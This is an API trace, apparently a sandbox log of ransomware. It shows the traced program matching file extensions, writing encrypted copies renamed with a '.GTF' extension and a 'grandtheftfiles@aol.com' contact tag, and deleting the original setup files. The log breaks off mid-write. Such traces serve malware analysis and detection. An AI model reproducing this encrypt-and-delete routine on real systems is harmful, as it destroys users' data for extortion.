	[0072.071] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0072.071] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0072.071] lstrlenW (lpString="Setup.exe") returned 9
	[0072.071] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0072.071] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=78152) returned 1
	[0072.071] CloseHandle (hObject=0x2d4) returned 1
	[0072.071] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80
	[0072.072] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.072] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0072.072] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.072] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.072] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0072.075] GetLastError () returned 0x0
	[0072.075] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x13148, lpOverlapped=0x0) returned 1
	[0072.507] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x13150, lpOverlapped=0x0) returned 1
	[0072.509] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.509] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0072.509] SetEndOfFile (hFile=0x370) returned 1
	[0072.509] CloseHandle (hObject=0x370) returned 1
	[0072.512] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.512] SetEndOfFile (hFile=0x2d4) returned 1
	[0072.513] CloseHandle (hObject=0x2d4) returned 1
	[0072.513] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0072.513] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1
	[0072.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.514] lstrlenW (lpString=".doc") returned 4
	[0072.514] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0072.514] lstrlenW (lpString=".docx") returned 5
	[0072.514] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0072.514] lstrlenW (lpString=".pdf") returned 4
	[0072.514] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0072.514] lstrlenW (lpString=".xls") returned 4
	[0072.514] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0072.514] lstrlenW (lpString=".xlsx") returned 5
	[0072.514] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0072.514] lstrlenW (lpString=".ppt") returned 4
	[0072.514] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0072.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.514] lstrlenW (lpString=".zip") returned 4
	[0072.514] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0072.514] lstrlenW (lpString=".rar") returned 4
	[0072.514] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0072.514] lstrlenW (lpString=".bz2") returned 4
	[0072.514] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0072.514] lstrlenW (lpString=".7z") returned 3
	[0072.514] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0072.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.514] lstrlenW (lpString=".dbf") returned 4
	[0072.514] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0072.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.514] lstrlenW (lpString=".1cd") returned 4
	[0072.514] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0072.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.514] lstrlenW (lpString=".jpg") returned 4
	[0072.514] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0072.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.514] lstrlenW (lpString=".doc") returned 4
	[0072.514] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0072.515] lstrlenW (lpString=".docx") returned 5
	[0072.515] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0072.515] lstrlenW (lpString=".pdf") returned 4
	[0072.515] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0072.515] lstrlenW (lpString=".xls") returned 4
	[0072.515] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0072.515] lstrlenW (lpString=".xlsx") returned 5
	[0072.515] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0072.515] lstrlenW (lpString=".ppt") returned 4
	[0072.515] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0072.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.515] lstrlenW (lpString=".zip") returned 4
	[0072.515] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0072.515] lstrlenW (lpString=".rar") returned 4
	[0072.515] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0072.515] lstrlenW (lpString=".bz2") returned 4
	[0072.515] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0072.515] lstrlenW (lpString=".7z") returned 3
	[0072.515] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0072.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.515] lstrlenW (lpString=".dbf") returned 4
	[0072.515] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0072.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.515] lstrlenW (lpString=".1cd") returned 4
	[0072.515] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0072.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0072.515] lstrlenW (lpString=".jpg") returned 4
	[0072.515] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0072.515] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0072.515] lstrlenW (lpString="SetupUi.dll") returned 11
	[0072.515] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.615] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=295248) returned 1
	[0072.615] CloseHandle (hObject=0x33c) returned 1
	[0072.615] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80
	[0072.615] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.615] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.615] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.130] GetLastError () returned 0x0
	[0073.130] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x48150, lpOverlapped=0x0) returned 1
	[0073.138] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x48160, lpOverlapped=0x0) returned 1
	[0073.144] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.144] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xea, lpOverlapped=0x0) returned 1
	[0073.144] SetEndOfFile (hFile=0x370) returned 1
	[0073.144] CloseHandle (hObject=0x370) returned 1
	[0073.151] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.151] SetEndOfFile (hFile=0x33c) returned 1
	[0073.154] CloseHandle (hObject=0x33c) returned 1
	[0073.154] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0073.154] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1
	[0073.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.156] lstrlenW (lpString=".doc") returned 4
	[0073.156] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0073.156] lstrlenW (lpString=".docx") returned 5
	[0073.156] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0073.156] lstrlenW (lpString=".pdf") returned 4
	[0073.156] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0073.156] lstrlenW (lpString=".xls") returned 4
	[0073.156] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0073.156] lstrlenW (lpString=".xlsx") returned 5
	[0073.156] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0073.156] lstrlenW (lpString=".ppt") returned 4
	[0073.156] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0073.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.156] lstrlenW (lpString=".zip") returned 4
	[0073.156] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0073.156] lstrlenW (lpString=".rar") returned 4
	[0073.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0073.156] lstrlenW (lpString=".bz2") returned 4
	[0073.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0073.156] lstrlenW (lpString=".7z") returned 3
	[0073.156] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0073.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.156] lstrlenW (lpString=".dbf") returned 4
	[0073.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0073.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.156] lstrlenW (lpString=".1cd") returned 4
	[0073.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0073.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.156] lstrlenW (lpString=".jpg") returned 4
	[0073.157] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0073.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.157] lstrlenW (lpString=".doc") returned 4
	[0073.157] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0073.157] lstrlenW (lpString=".docx") returned 5
	[0073.157] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0073.157] lstrlenW (lpString=".pdf") returned 4
	[0073.157] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0073.157] lstrlenW (lpString=".xls") returned 4
	[0073.157] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0073.157] lstrlenW (lpString=".xlsx") returned 5
	[0073.157] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0073.157] lstrlenW (lpString=".ppt") returned 4
	[0073.157] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0073.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.157] lstrlenW (lpString=".zip") returned 4
	[0073.157] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0073.157] lstrlenW (lpString=".rar") returned 4
	[0073.157] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0073.157] lstrlenW (lpString=".bz2") returned 4
	[0073.157] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0073.157] lstrlenW (lpString=".7z") returned 3
	[0073.157] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0073.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.158] lstrlenW (lpString=".dbf") returned 4
	[0073.158] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0073.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.158] lstrlenW (lpString=".1cd") returned 4
	[0073.158] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0073.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0073.158] lstrlenW (lpString=".jpg") returned 4
	[0073.158] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0073.158] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0073.158] lstrlenW (lpString="SetupUtility.exe") returned 16
	[0073.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.158] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=96088) returned 1
	[0073.158] CloseHandle (hObject=0x33c) returned 1
	[0073.158] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80
	[0073.158] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.159] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.159] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.159] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.159] GetLastError () returned 0x0
	[0073.159] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x17758, lpOverlapped=0x0) returned 1
	[0073.162] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x17760, lpOverlapped=0x0) returned 1
	[0073.165] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.165] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0073.165] SetEndOfFile (hFile=0x370) returned 1
	[0073.165] CloseHandle (hObject=0x370) returned 1
	[0073.168] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.168] SetEndOfFile (hFile=0x33c) returned 1
	[0073.170] CloseHandle (hObject=0x33c) returned 1
	[0073.170] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0073.170] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1
	[0073.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.170] lstrlenW (lpString=".doc") returned 4
	[0073.170] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0073.171] lstrlenW (lpString=".docx") returned 5
	[0073.171] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0073.171] lstrlenW (lpString=".pdf") returned 4
	[0073.171] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0073.171] lstrlenW (lpString=".xls") returned 4
	[0073.171] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0073.171] lstrlenW (lpString=".xlsx") returned 5
	[0073.171] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0073.171] lstrlenW (lpString=".ppt") returned 4
	[0073.171] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0073.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.171] lstrlenW (lpString=".zip") returned 4
	[0073.171] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0073.171] lstrlenW (lpString=".rar") returned 4
	[0073.171] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0073.171] lstrlenW (lpString=".bz2") returned 4
	[0073.171] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0073.171] lstrlenW (lpString=".7z") returned 3
	[0073.171] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0073.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.171] lstrlenW (lpString=".dbf") returned 4
	[0073.171] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0073.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.171] lstrlenW (lpString=".1cd") returned 4
	[0073.171] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0073.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.171] lstrlenW (lpString=".jpg") returned 4
	[0073.171] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0073.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.171] lstrlenW (lpString=".doc") returned 4
	[0073.171] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0073.171] lstrlenW (lpString=".docx") returned 5
	[0073.171] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0073.171] lstrlenW (lpString=".pdf") returned 4
	[0073.171] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0073.172] lstrlenW (lpString=".xls") returned 4
	[0073.172] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0073.172] lstrlenW (lpString=".xlsx") returned 5
	[0073.172] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0073.172] lstrlenW (lpString=".ppt") returned 4
	[0073.172] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0073.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.172] lstrlenW (lpString=".zip") returned 4
	[0073.172] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0073.172] lstrlenW (lpString=".rar") returned 4
	[0073.172] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0073.172] lstrlenW (lpString=".bz2") returned 4
	[0073.172] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0073.172] lstrlenW (lpString=".7z") returned 3
	[0073.172] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0073.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.172] lstrlenW (lpString=".dbf") returned 4
	[0073.172] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0073.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.172] lstrlenW (lpString=".1cd") returned 4
	[0073.172] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0073.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0073.172] lstrlenW (lpString=".jpg") returned 4
	[0073.172] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0073.172] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0073.172] lstrlenW (lpString="sqmapi.dll") returned 10
	[0073.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.173] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=144416) returned 1
	[0073.173] CloseHandle (hObject=0x33c) returned 1
	[0073.173] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80
	[0073.173] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.660] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.660] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.661] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.661] GetLastError () returned 0x0
	[0073.661] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x23420, lpOverlapped=0x0) returned 1
	[0073.665] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x23430, lpOverlapped=0x0) returned 1
